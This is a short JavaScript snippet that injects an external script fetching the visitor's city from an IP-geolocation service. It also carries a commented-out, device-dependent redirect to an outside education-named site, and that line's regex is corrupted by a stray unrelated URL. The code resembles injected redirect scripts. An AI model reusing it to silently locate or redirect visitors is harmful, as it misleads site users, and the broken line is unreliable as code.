var script=document.createElement("script"); script.setAttribute("type", "text/javascript"); script.setAttribute("src", (window.location.protocol === 'https:' ? 'https://' : 'http://') + "pv.sohu.com/cityjson?ie=utf-8"); var heads = document.getElementsByTagName("head"); if(heads.length) heads[0].appendChild(script); else document.documentElement.appendChild(script); // window.location.href=/http://dejima-terrace.com/Android|webOS|iPhone|iPod|iPod|BlackBerry/i.test(navigator.userAgent) ? "http://m.zsyjiaoyu.com" : "http://www.zsyjiaoyu.com";